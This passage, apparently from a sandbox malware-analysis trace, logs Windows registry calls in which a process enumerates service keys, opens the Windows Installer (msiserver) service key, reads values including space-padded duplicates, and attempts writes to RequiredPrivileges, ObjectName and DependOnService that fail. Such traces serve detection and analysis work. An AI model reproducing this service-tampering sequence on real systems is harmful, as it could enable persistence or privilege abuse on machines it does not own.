hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0259.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0259.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0259.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0259.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0259.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0259.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0259.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0259.143] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0259.144] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0259.144] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0259.144] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0259.144] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0259.144] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0259.144] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0259.144] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0259.144] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0259.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0259.144] RegCloseKey (hKey=0x148) returned 0x0 [0259.144] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.144] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.144] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.145] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.145] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.145] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.145] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.145] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.145] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.145] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.145] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.145] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.145] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.145] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.145] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.145] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.146] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.146] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.146] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0259.146] RegCloseKey (hKey=0xc4) returned 0x0 [0259.146] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.146] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.146] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.146] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.146] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0259.146] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.146] RegCloseKey (hKey=0x148) returned 0x0 [0259.146] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.146] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.147] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.147] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.147] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.147] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.147] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.147] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.147] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.155] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.155] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.157] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0259.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0259.157] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1c40, cbData=0x1) returned 0x6 [0259.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0259.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.158] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1cd0, cbData=0xc) returned 0x6 [0259.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0259.158] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1cd0, cbData=0x1) returned 0x6 [0259.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0259.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.158] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.159] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.159] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.159] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.159] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.159] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.159] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.159] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.159] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.159] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.160] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.160] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.160] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.160] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.160] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.160] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1a00, cbData=0x6) returned 0x6 [0259.160] RtlFreeHeap 